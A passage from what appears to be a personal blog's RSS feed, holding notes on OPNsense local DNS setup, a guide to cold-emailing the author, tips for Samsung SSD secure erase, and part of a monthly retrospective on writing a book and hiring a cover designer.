&lt;p>Go to Services &amp;gt; Unbound DNS &amp;gt; General.&lt;/p>
&lt;p>Check these options:&lt;/p>
&lt;ul>
&lt;li>Register ISC DHCP4 Leases&lt;/li>
&lt;li>Register DHCP Static Mappings&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/opnsense-local-dns/unbound-general.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/opnsense-local-dns/unbound-general_hu_80bfb559f8347afa.webp 300w, https://mtlynch.io/notes/opnsense-local-dns/unbound-general_hu_99f0cb7787378bac.webp 600w, https://mtlynch.io/notes/opnsense-local-dns/unbound-general_hu_f82070a3a6c20366.webp 800w, https://mtlynch.io/notes/opnsense-local-dns/unbound-general.webp 1033w'
 src="https://mtlynch.io/notes/opnsense-local-dns/unbound-general.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Check “Register ISC DHCP4 Leases” and “Register DHCP Static Mappings”in Unbound settings&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Click Apply to apply the changes.&lt;/p>
&lt;h2 id="manually-specify-hostnames">Manually specify hostnames&lt;/h2>
&lt;p>Despite configuring Unbound, I find that OPNsense still doesn&amp;rsquo;t always resolve local hosts, and I don&amp;rsquo;t know why.&lt;/p>
&lt;p>In situations where I just need OPNsense to resolve, I force the mappings manually.&lt;/p>
&lt;h3 id="choose-a-local-domain-name">Choose a local domain name&lt;/h3>
&lt;ol>
&lt;li>Go to System &amp;gt; Settings &amp;gt; General.&lt;/li>
&lt;li>Under &amp;ldquo;Domain&amp;rdquo; specify a domain name for your local network.
&lt;ul>
&lt;li>I always thought you were supposed to choose &lt;code>local&lt;/code>, but the help text warns that you&amp;rsquo;re not supposed to do that.&lt;/li>
&lt;li>I chose &lt;code>home.arpa&lt;/code>, as that&amp;rsquo;s &lt;a href="https://datatracker.ietf.org/doc/html/rfc8375">the technically correct domain&lt;/a> for a home network, but wow is it ugly.&lt;/li>
&lt;li>According to the IETF&amp;rsquo;s definition, the domain should actually be &lt;code>home.arpa.&lt;/code> (with a trailing dot), but OPNsense rejects that as a domain and recommends &lt;code>home.arpa&lt;/code>, so I&amp;rsquo;m sticking with that.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Click &amp;ldquo;Save&amp;rdquo; to apply the change.&lt;/li>
&lt;/ol>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting_hu_5435f1f9c2f7f651.webp 300w, https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting_hu_5a5fe07397f7637d.webp 600w, https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting_hu_a6ca6d95b371dc11.webp 800w, https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting_hu_81904fe98d46d806.webp 1200w, https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting.webp 1217w'
 src="https://mtlynch.io/notes/opnsense-local-dns/home.arpa-setting.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="create-a-static-mapping-for-the-host">Create a static mapping for the host&lt;/h3>
&lt;ol>
&lt;li>Go to Services &amp;gt; ISC DHCPv4 &amp;gt; Leases&lt;/li>
&lt;li>Find the host in the list of hosts that you want OPNsense to resolve.&lt;/li>
&lt;li>Click the &lt;code>+&lt;/code> icon at the right end of the table row. This should bring you to the Static DHCP Mapping dialog.&lt;/li>
&lt;li>Enter a local IP address in the &lt;code>IP address&lt;/code> field.&lt;/li>
&lt;li>Click &amp;ldquo;Save&amp;rdquo; to save the static IP mapping.&lt;/li>
&lt;/ol>
&lt;h3 id="create-a-manual-override-for-the-hostname">Create a manual override for the hostname&lt;/h3>
&lt;ol>
&lt;li>Go to Services &amp;gt; Unbound DNS &amp;gt; Overrides.&lt;/li>
&lt;li>Under &amp;ldquo;Host Overrides&amp;rdquo;, click the orange &amp;ldquo;+&amp;rdquo; button to add a new override.&lt;/li>
&lt;li>Under &amp;ldquo;Host&amp;rdquo; enter the hostname you specified in the static mapping.&lt;/li>
&lt;li>Under &amp;ldquo;Domain&amp;rdquo; enter &lt;code>home.arpa&lt;/code>.&lt;/li>
&lt;li>Under &amp;ldquo;IP address&amp;rdquo; enter the IP address you chose in the static mapping.&lt;/li>
&lt;li>Click &amp;ldquo;Save&amp;rdquo;.&lt;/li>
&lt;/ol>
&lt;h2 id="specifying-hosts-with-the-homearpa-domain-suffix">Specifying hosts with the &lt;code>.home.arpa&lt;/code> domain suffix&lt;/h2>
&lt;p>Sometimes, when OPNsense fails to resolve host &lt;code>foo123&lt;/code>, it successfully resolves &lt;code>foo123.home.arpa&lt;/code>, so I always try adding the domain suffix if the bare hostname doesn&amp;rsquo;t work.&lt;/p>
&lt;p>I&amp;rsquo;m not sure why OPNsense needs the suffix, as the lack of domain name should make it obvious that I&amp;rsquo;m talking about a host on the local network, but the &lt;code>.home.arpa&lt;/code> domain sometimes makes a difference.&lt;/p>
&lt;h2 id="other-improvements">Other improvements?&lt;/h2>
&lt;p>If you have suggestions for making OPNsense&amp;rsquo;s hostname resolution less brittle and more reliable, let me know in the comments.&lt;/p></content:encoded></item><item><title>Increase Your Reply Rate on Cold Emails to Me</title><link>https://mtlynch.io/notes/emailing-me/</link><pubDate>Fri, 17 Jan 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/emailing-me/</guid><description>&lt;p>The term &amp;ldquo;cold email&amp;rdquo; refers to emailing someone who you&amp;rsquo;ve never spoken to before.&lt;/p>
&lt;p>There are lots of guides on writing cold emails. This one is a bit niche, as it&amp;rsquo;s about cold emailing a particular person: me. But I guarantee you that it&amp;rsquo;s the best guide you can find on this hyperspecific topic.&lt;/p>
&lt;p>I&amp;rsquo;m publishing my guidelines under the &lt;a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons BY-4.0 license&lt;/a>, so you&amp;rsquo;re welcome to reuse or adapt them to guide people in emailing you.&lt;/p></description><content:encoded>&lt;p>The term &amp;ldquo;cold email&amp;rdquo; refers to emailing someone who you&amp;rsquo;ve never spoken to before.&lt;/p>
&lt;p>There are lots of guides on writing cold emails. This one is a bit niche, as it&amp;rsquo;s about cold emailing a particular person: me. But I guarantee you that it&amp;rsquo;s the best guide you can find on this hyperspecific topic.&lt;/p>
&lt;p>I&amp;rsquo;m publishing my guidelines under the &lt;a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons BY-4.0 license&lt;/a>, so you&amp;rsquo;re welcome to reuse or adapt them to guide people in emailing you.&lt;/p>
&lt;h2 id="i-know-this-sounds-obnoxious">I know this sounds obnoxious&lt;/h2>
&lt;p>Every time I see someone post a guide about how other people should interact with them, I roll my eyes and privately judge that person for being self-important.&lt;/p>
&lt;p>I also get a lot of emails from people who probably spent 20+ minutes writing something that has no chance of motivating me to respond, so I&amp;rsquo;m hoping to save people from making fixable mistakes.&lt;/p>
&lt;p>I do enjoy getting emails from readers. I&amp;rsquo;m not famous enough that I&amp;rsquo;m inundated with emails. I receive maybe 10 cold emails per month, and I respond to a handful depending on how busy I am.&lt;/p>
&lt;h2 id="things-that-increase-my-chances-of-responding">Things that increase my chances of responding&lt;/h2>
&lt;h3 id="your-email-benefits-me-in-some-way">Your email benefits me in some way&lt;/h3>
&lt;p>I know this sounds selfish, but it is the truth.&lt;/p>
&lt;p>There are a few ways a cold email might benefit me:&lt;/p>
&lt;ul>
&lt;li>Offers an improvement on something I&amp;rsquo;ve written about.&lt;/li>
&lt;li>Solves a problem I have.&lt;/li>
&lt;li>You work on something that complements my business, and you see an opportunity for us to work together.
&lt;ul>
&lt;li>I don&amp;rsquo;t mean generic things you&amp;rsquo;d offer to any website like SEO consulting or cheap dev work.&lt;/li>
&lt;li>I mean something like you see that I&amp;rsquo;m working on a book for developers, and you&amp;rsquo;re a publisher for developer-oriented books.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="youre-also-a-bootstrapped-founder">You&amp;rsquo;re also a bootstrapped founder&lt;/h3>
&lt;p>Meaning you&amp;rsquo;ve tried to run a business, not that you&amp;rsquo;ve idly thought about it a lot.&lt;/p>
&lt;p>You don&amp;rsquo;t have to be a successful founder. If you&amp;rsquo;ve had 20 flops, that&amp;rsquo;s more interesting to me than someone who has a brilliant idea but hasn&amp;rsquo;t gotten around to working on it.&lt;/p>
&lt;h3 id="you-write-publicly">You write publicly&lt;/h3>
&lt;p>You have a blog or you&amp;rsquo;ve published books. It doesn&amp;rsquo;t have to be a popular blog or a beautiful blog or even a good blog. As long as you&amp;rsquo;re thinking of words wtih your human mind and typing them out with your human fingers, I&amp;rsquo;m interested.&lt;/p>
&lt;p>YouTube also counts, but Twitter, BlueSky and other microblogging doesn&amp;rsquo;t. Neither do AI-generated blogs.&lt;/p>
&lt;h3 id="weve-done-something-similar">We&amp;rsquo;ve done something similar&lt;/h3>
&lt;p>If we have some similar history, like we worked at the same place, lived in the same city, or drank from the same water bottle, let me know. It&amp;rsquo;s always a bonus to hear from someone with overlapping experiences.&lt;/p>
&lt;h3 id="you-ask-an-interesting-question">You ask an interesting question&lt;/h3>
&lt;p>Sometimes, it&amp;rsquo;s fun to respond to a reader email just because they&amp;rsquo;ve asked an interesting question I hadn&amp;rsquo;t considered, and I enjoy thinking about the answer.&lt;/p>
&lt;h2 id="things-that-decrease-my-chances-of-responding">Things that decrease my chances of responding&lt;/h2>
&lt;h3 id="you-immediately-ask-me-to-meet-with-you">You immediately ask me to meet with you&lt;/h3>
&lt;p>I&amp;rsquo;m an introvert, and I spend most of my time writing or coding.&lt;/p>
&lt;p>If you invite me to a 30-minute call, you might think that&amp;rsquo;s only asking me to set aside 30 minutes for you, but it&amp;rsquo;s more like 90. I like having long, unbroken blocks of time to work, so a 30-minute call takes time to prepare for and unwind from.&lt;/p>
&lt;p>I do sometimes meet with people who cold email me, but it&amp;rsquo;s usually when there&amp;rsquo;s some opportunity for us to work together or there&amp;rsquo;s an obvious way we can help each other on a live call.&lt;/p>
&lt;p>It&amp;rsquo;s fine to offer a call, but I&amp;rsquo;m more likely to respond if you also offer another path forward.&lt;/p>
&lt;h3 id="youre-asking-something-ive-already-answered-in-my-blog">You&amp;rsquo;re asking something I&amp;rsquo;ve already answered in my blog&lt;/h3>
&lt;p>If you&amp;rsquo;re asking a question, first try searching the topic on a search engine and append &lt;code>site:mtlynch.io&lt;/code>. You might get your answer instantly, and we&amp;rsquo;ll both save some time.&lt;/p>
&lt;p>I don&amp;rsquo;t expect you to read every last word of my blog to know everything I&amp;rsquo;ve ever said. But if you ask me if I have any thoughts about &lt;a href="https://mtlynch.io/tags/code-review/">code reviews&lt;/a>, I&amp;rsquo;ll quickly archive that email. On the other hand, if you ask me something about how I use Docker, I don&amp;rsquo;t expect you to read every post where I mention Docker to see if I&amp;rsquo;ve answered your question.&lt;/p>
&lt;h3 id="your-email-looks-templated">Your email looks templated&lt;/h3>
&lt;p>If you just say, &amp;ldquo;I read your last article, and I enjoy your writing style,&amp;rdquo; it might be a sincere sentiment, but it&amp;rsquo;s also what 99% of spam I receive looks like, so I might mistake you for a bot.&lt;/p>
&lt;p>If you&amp;rsquo;re reaching out because something I wrote resonated with you, that&amp;rsquo;s great! Just be a bit more specific about what you liked and why.&lt;/p>
&lt;h3 id="your-email-looks-ai-generated">Your email looks AI-generated&lt;/h3>
&lt;p>We&amp;rsquo;re probably in the last few years where I can meaningfully distinguish a human-written email from an AI-generated email. While we&amp;rsquo;re still here, try to make your email as human-sounding as possible. If it sounds like something an AI chatbot would generate, try revising it to sound more like you.&lt;/p>
&lt;h3 id="you-include-a-lot-of-details-that-need-addressing">You include a lot of details that need addressing&lt;/h3>
&lt;p>The easiest emails for me to respond to are when someone says they liked one of my posts. It brightens my day, and I can send a quick thank you.&lt;/p>
&lt;p>When people include a lot of extra details, it makes it hard to give a quick thanks. Here&amp;rsquo;s a made up example:&lt;/p>
&lt;blockquote>
&lt;p>Thanks for your post about unit testing! It taught me a lot.&lt;/p>
&lt;p>That post really brightened my day because things are a bit blue here on the farm. Grandma Pauline has come down with smallpox again, and we&amp;rsquo;ve had to say goodbye to our beloved hamster, Emilio, due to the global pellet supply crisis.&lt;/p>&lt;/blockquote>
&lt;p>I&amp;rsquo;d like to say thanks to an email like that, but I also don&amp;rsquo;t want to just ignore your grandma&amp;rsquo;s illness or your hamster tragedy, so I&amp;rsquo;ll probably just keep putting it off and then eventually archive it.&lt;/p>
&lt;h3 id="you-insert-trackers-into-your-email">You insert trackers into your email&lt;/h3>
&lt;p>If you use an email service that injects hidden pixels or you use special links that track when I&amp;rsquo;ve clicked, I&amp;rsquo;m a lot less likely to respond.&lt;/p>
&lt;p>I understand that it&amp;rsquo;s interesting to know who read and clicked your email, but it&amp;rsquo;s also invasive and sneaky to put hidden trackers in your email.&lt;/p>
&lt;h2 id="things-that-i-definitely-wont-respond-to">Things that I definitely won&amp;rsquo;t respond to&lt;/h2>
&lt;h3 id="youre-asking-for-free-11-tech-support">You&amp;rsquo;re asking for free, 1:1 tech support&lt;/h3>
&lt;p>If you&amp;rsquo;re emailing about an open-source project I&amp;rsquo;ve published, remember that &lt;a href="https://mikemcquaid.com/open-source-maintainers-owe-you-nothing/">open-source authors are not obligated to help you&lt;/a>. If anything, you owe them a favor because they created something that you use.&lt;/p>
&lt;p>If you need help with one of my projects, file an issue on GitHub or GitLab. If the project is archived or doesn&amp;rsquo;t offer a way to request support, I don&amp;rsquo;t support that project anymore.&lt;/p>
&lt;p>If you have a question about a blog post that doesn&amp;rsquo;t have an accompanying source code repo, I&amp;rsquo;m more likely to respond if you instead leave your question as a comment on the relevant post. That way, if I respond to you, everyone else benefits. Also, someoene else may respond to you if I don&amp;rsquo;t have time.&lt;/p>
&lt;h3 id="youre-asking-me-to-apply-for-a-job">You&amp;rsquo;re asking me to apply for a job&lt;/h3>
&lt;p>I love working for myself, so it&amp;rsquo;s nearly impossible that I&amp;rsquo;m interested in having an employer again.&lt;/p>
&lt;p>If you&amp;rsquo;re really intent on offering me a job, this is basically the only intro that might get a positive response:&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;m going to pay you $1,000 in advance just to get on a call with me, and the salary is $1M/year in salary, excluding equity or options.&lt;/p>&lt;/blockquote></content:encoded></item><item><title>Overcoming Gotchas in Samsung Secure Erase</title><link>https://mtlynch.io/notes/samsung-secure-erase/</link><pubDate>Thu, 16 Jan 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/samsung-secure-erase/</guid><description>&lt;p>I have a few Samsung SSDs, and I always have trouble remembering the process of secure erasing them, as Samsung Magician software is terrible.&lt;/p>
&lt;p>Here are my notes for overcoming Samsung Magician&amp;rsquo;s gotchas in the process of secure erasing a Samsung SSD.&lt;/p>
&lt;h2 id="you-need-a-windows-or-macos-system-with-a-samsung-ssd-attached">You need a Windows or MacOS system with a Samsung SSD attached&lt;/h2>
&lt;p>This requirement drives me crazy, as Samsung Magician is creating a bootable USB disk, so it shouldn&amp;rsquo;t care what&amp;rsquo;s on your current system, but it does. And Samsung Magician only exists for Windows, MacOS, and Android, so if you&amp;rsquo;re on Linux, you can&amp;rsquo;t use it.&lt;/p></description><content:encoded>&lt;p>I have a few Samsung SSDs, and I always have trouble remembering the process of secure erasing them, as Samsung Magician software is terrible.&lt;/p>
&lt;p>Here are my notes for overcoming Samsung Magician&amp;rsquo;s gotchas in the process of secure erasing a Samsung SSD.&lt;/p>
&lt;h2 id="you-need-a-windows-or-macos-system-with-a-samsung-ssd-attached">You need a Windows or MacOS system with a Samsung SSD attached&lt;/h2>
&lt;p>This requirement drives me crazy, as Samsung Magician is creating a bootable USB disk, so it shouldn&amp;rsquo;t care what&amp;rsquo;s on your current system, but it does. And Samsung Magician only exists for Windows, MacOS, and Android, so if you&amp;rsquo;re on Linux, you can&amp;rsquo;t use it.&lt;/p>
&lt;p>And not only that, Samsung Magician will refuse to do anything if there&amp;rsquo;s no compatible Samsung SSD attached to the machine running Samsung Magician.&lt;/p>
&lt;p>So, if you want to securely erase the data on computer A, which contains a Samsung SSD, you might sensibly run Samsung Magician on computer B to create the bootable USB. But this won&amp;rsquo;t work unless computer B &lt;em>also&lt;/em> has a compatible Samsung SSD attached.&lt;/p>
&lt;h2 id="usb-key-doesnt-work-in-samsung-magician">USB key doesn&amp;rsquo;t work in Samsung Magician&lt;/h2>
&lt;p>When you finally get a compatible system to run Samsung Magician, when you click &amp;ldquo;Secure Erase,&amp;rdquo; you&amp;rsquo;ll probably find that when you try to create a bootable USB, it won&amp;rsquo;t show you any options, even if you insert a working USB drive.&lt;/p>
&lt;p>You might get a bit further. Maybe Samsung Magician recognizes the USB drive but shows this error message:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Failed to create bootable USB device
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It offers no further detail.&lt;/p>
&lt;p>The issue is that Samsung Magician expects the drive to be partitioned in a particular way. If the drive has no partitions at all Samsung Magician won&amp;rsquo;t recognize it. If the drive has a large partition, Samsung Magician fails with the error, &amp;ldquo;Failed to create bootable USB device.&amp;rdquo;&lt;/p>
&lt;p>The solution is to erase all partitions on the USB disk and create a single FAT32 partition that&amp;rsquo;s 500 MB in size.&lt;/p>
&lt;p>I don&amp;rsquo;t know why Samsung Magician insists on this, as it completely blows away the partitions anyway. But once it sees a disk with a 500 MB partition, it successfully creates the bootable disk for secure erasing the SSD.&lt;/p>
&lt;h2 id="ssd-is-locked">SSD is locked&lt;/h2>
&lt;p>When I thought I was home free, the Samsung bootable disk told me that my SSD was &amp;ldquo;locked.&amp;rdquo;&lt;/p>
&lt;p>Its suggestion was to remove the SSD&amp;rsquo;s power cable while the computer is still on, then plug in the power again. I&amp;rsquo;m leery of removing internal cables while a desktop is running, but I tried it, and sure enough, that allowed the secure erase to work.&lt;/p>
&lt;p>I tried other options like shutting off my computer, and completely cutting off power. But it seemed that for whatever reason, I had to remove the SSD power cable while keeping the SATA cable attached.&lt;/p></content:encoded></item><item><title>Refactoring English: Month 1</title><link>https://mtlynch.io/retrospectives/2025/01/</link><pubDate>Thu, 09 Jan 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/01/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I published the first chapter of my book and was happy with the reception.&lt;/li>
&lt;li>My attempt to hire a book cover designer flopped.&lt;/li>
&lt;li>I may have figured out how to support large files on PicoShare.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finish-two-chapters-of-refactoring-english">Finish two chapters of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Finished one chapter and got 75% through the next.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>The first chapter took longer than I expected, as I kept finding parts that I wanted to rewrite. I did find it helpful to take a break for a week to write a second chapter and come back fresh.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I published the first chapter of my book and was happy with the reception.&lt;/li>
&lt;li>My attempt to hire a book cover designer flopped.&lt;/li>
&lt;li>I may have figured out how to support large files on PicoShare.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finish-two-chapters-of-refactoring-english">Finish two chapters of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Finished one chapter and got 75% through the next.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>The first chapter took longer than I expected, as I kept finding parts that I wanted to rewrite. I did find it helpful to take a break for a week to write a second chapter and come back fresh.&lt;/p>
&lt;h3 id="work-with-a-designer-to-complete-the-cover-design-for-refactoring-english">Work with a designer to complete the cover design for &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Decided to do the cover design on my own.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I got partway through working with the designer, but I pulled the plug because I didn&amp;rsquo;t like the direction it was going. I decided to do my own cover for now.&lt;/p>
&lt;h2 id="thoughts-on-finishing-the-first-chapter-of-refactoring-english">Thoughts on finishing the first chapter of &lt;em>Refactoring English&lt;/em>&lt;/h2>
&lt;p>I published the first chapter of my book, &lt;em>Refactoring English&lt;/em>. The chapter is called &lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/">&amp;ldquo;Rules for Writing Software Tutorials,&amp;rdquo;&lt;/a> and it&amp;rsquo;s based on years of following tutorials and noticing when they do things well or poorly.&lt;/p>
&lt;h3 id="a-successful-reception-for-the-first-chapter">A successful reception for the first chapter&lt;/h3>
&lt;p>The chapter&amp;rsquo;s reception was on the high end of my expectations. It&amp;rsquo;s a list of rules about tutorials, so I didn&amp;rsquo;t think it would set the Internet on fire, but it got a respectable response on a few sites I thought would be a good match:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://news.ycombinator.com/item?id=42574641">Hacker News&lt;/a>: 375 points and &lt;a href="https://hnrankings.info/42574641/">reached the #10 position&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.reddit.com/r/programming/comments/1hrux0b/rules_for_writing_software_tutorials/">/r/programming&lt;/a>: 159 points and reached #1 position for the day (I think?)&lt;/li>
&lt;li>&lt;a href="https://lobste.rs/s/7t86dw/rules_for_writing_software_tutorials">Lobste.rs&lt;/a> 27 points and reached the #2 position&lt;/li>
&lt;/ul>
&lt;p>The main metric I&amp;rsquo;m tracking is mailing list subscribers. 245 new subscribers signed up the week after the post, increasing total subscribers of the book by 31%.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 503px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/01/confirmed-subscribers.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 503px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/01/confirmed-subscribers_hu_fbe3ce1eb0c6821b.webp 300w, https://mtlynch.io/retrospectives/2025/01/confirmed-subscribers.webp 501w'
 src="https://mtlynch.io/retrospectives/2025/01/confirmed-subscribers.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The first chapter caused a major jump in subscribers to the book&amp;rsquo;s mailing list.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="whats-the-right-way-to-iterate-on-an-article-after-i-publish-it">What&amp;rsquo;s the right way to iterate on an article after I publish it?&lt;/h3>
&lt;p>A few years ago, &lt;a href="http://antirez.com">Salvatore Sanfilippo&lt;/a>, creator of Redis, paused his programming work to &lt;a href="http://invece.org/">write a sci-fi novel&lt;/a>. While working on the novel, he &lt;a href="https://antirez.com/news/135">observed&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>I believe the most sharp difference between writing and programming is that, once written, edited and finalized, a novel remains immutable, mostly.&lt;/p>&lt;/blockquote>
&lt;p>Salvatore went on to say that programmers should learn from novelists and resist the urge to rewrite the core logic of their app after it&amp;rsquo;s done. I actually took the opposite lesson: authors should write books more iteratively, like programmers.&lt;/p>
&lt;p>For &lt;em>Refactoring English&lt;/em>, I&amp;rsquo;m trying to publish chapters in near-finished state, but I also want to let reader feedback shape my writing.&lt;/p>
&lt;p>Having chapters live in flux creates a problem I&amp;rsquo;ve never dealt with before: I&amp;rsquo;m messing up comment threads. On Hacker News, Lobsters, and reddit, commenters disagreed with my point about &lt;a href="https://web.archive.org/web/20250102175032/https://refactoringenglish.com/chapters/rules-for-software-tutorials/#let-computers-evaluate-conditional-logic">&amp;ldquo;Let computers evaluate conditional logic.&amp;rdquo;&lt;/a> And I think they&amp;rsquo;re right. That was my weakest point, so I&amp;rsquo;ve cut it.&lt;/p>
&lt;p>The problem is that anyone reading those discussions will wonder why people are disagreeing with a point that never appears in my article.&lt;/p>
&lt;p>The best solution I can think of is to include &lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/#revisions">a note at the bottom&lt;/a> saying that I&amp;rsquo;m still revising the book with a link to the original and a list of notable edits.&lt;/p>
&lt;h3 id="how-do-i-keep-finding-readers-to-give-feedback">How do I keep finding readers to give feedback?&lt;/h3>
&lt;p>So far, I feel like my plan to iterate based on reader feedback is working.&lt;/p>
&lt;p>I&amp;rsquo;m happy with what I published in the first chapter, but I also received a lot of thoughtful critiques from readers that will help me revise it.&lt;/p>
&lt;p>I thought, &amp;ldquo;Okay, I can keep sharing preview chapters to those same channels.&amp;rdquo;&lt;/p>
&lt;p>Then, I reviewed my table of contents and realized that no other chapter would be a match for the channels where I shared the first one. Most of those sites have a written or unwritten rule that says, &amp;ldquo;If there&amp;rsquo;s no code in the post, it doesn&amp;rsquo;t belong here.&amp;rdquo; For example, /r/programming is probably not going to be excited to read my impassioned chapter about why I hate the passive voice.&lt;/p>
&lt;p>One idea I&amp;rsquo;ve had is to do freelance editing for other writers and use that to inform &lt;em>Refactoring English&lt;/em>.&lt;/p>
&lt;p>Except I don&amp;rsquo;t think &amp;ldquo;editing&amp;rdquo; is exactly what I&amp;rsquo;d be good at. People hear &amp;ldquo;editor&amp;rdquo; and think I&amp;rsquo;m going to polish their writing for them. What I actually want to do is identify problems in their writing and explain principles and techniques to help them improve it themselves. I don&amp;rsquo;t know what to call that. Writing mentorship? Coaching?&lt;/p>
&lt;p>Either way, if that sounds interesting to you, &lt;a href="https://mtlynch.io/about">reach out&lt;/a>. I can help with blog posts, documentation, or any software-related writing. I can show you how to attract more readers and make your writing more engaging. Basically, if you like the way I write on this blog, I can show you the techniques I&amp;rsquo;m using here.&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;ll charge $100 for two rounds of review.
&lt;ul>
&lt;li>The cost covers me reviewing your initial draft and then reviewing changes you make based on my feedback.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The piece can be up to 2,500 words.&lt;/li>
&lt;li>The money is mainly so you have skin in the game, so if $100 is beyond your budget, maybe we can still work something out.&lt;/li>
&lt;/ul>
&lt;h2 id="my-poor-experience-hiring-a-book-cover-designer-through-reedsy">My poor experience hiring a book cover designer through Reedsy&lt;/h2>
&lt;p>One of my distractions from working on my book in November was to convince myself I needed &lt;a href="https://mtlynch.io/retrospectives/2024/12/#maybe-i-need-a-book-cover">a professionally designed cover&lt;/a>. I started the process in November, but the work happened in December.&lt;/p>
&lt;p>I found the designer through Reedsy, a platform that several people recommended in the &lt;a href="https://www.usefulbooks.com/community">Write Useful Books community&lt;/a>. The common review was that it was pricey but worth it.&lt;/p>
&lt;p>I wrote &lt;a href="https://docs.google.com/document/d/1SUQ6GTeyL-XWmZYlJdQgyvQHZdHiUvCy0G-dh5nnrQM/edit?usp=sharing">a design brief&lt;/a> explaining what I wanted and sent it to four designers on Reedsy. I listed my budget as US$350-650. One designer bid 20% over my max budget, and his reply was a generic, &amp;ldquo;Sure, I can do this for you,&amp;rdquo; with nothing that suggested he read my brief. Another designer declined, saying that my budget was too low, and one never responded.&lt;/p>
&lt;p>The only valid bid came from Gary, who offered to do the cover for £350 (US$434). He sent a thoughtful note that referenced specifics from my brief, his portfolio had dozens of book covers, and he had a perfect 5.0 rating on Reedsy. He proposed a one-month timeline, with the fee split into three payments. That sounded fine to me, so I hired him.&lt;/p>
&lt;h3 id="working-with-gary">Working with Gary&lt;/h3>
&lt;p>A week went by, and I hadn&amp;rsquo;t heard anything from Gary. After my first payment was auto-billed, I asked for an ETA on initial drafts. Gary said he&amp;rsquo;d send concepts the next day, which he did.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/01/cover-ideas.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/01/cover-ideas_hu_c235c0b443458653.webp 300w, https://mtlynch.io/retrospectives/2025/01/cover-ideas_hu_22ea2d550d885e87.webp 600w, https://mtlynch.io/retrospectives/2025/01/cover-ideas_hu_585467512cfd2d03.webp 800w, https://mtlynch.io/retrospectives/2025/01/cover-ideas_hu_c8b48159f5a1eb66.webp 1200w, https://mtlynch.io/retrospectives/2025/01/cover-ideas.webp 1600w'
 src="https://mtlynch.io/retrospectives/2025/01/cover-ideas.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Initial book cover ideas from the designer I hired through Reedsy&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Sample 1 looked good, but it was a pretty on-the-nose ripoff of &lt;a href="https://www.oreilly.com/library/view/beautiful-code/9780596510046/">&lt;em>Beautiful Code&lt;/em>&lt;/a>, which I had cited in my brief.
I found the rest underwhelming, but I blamed myself for not spending more time on my brief.&lt;/p>
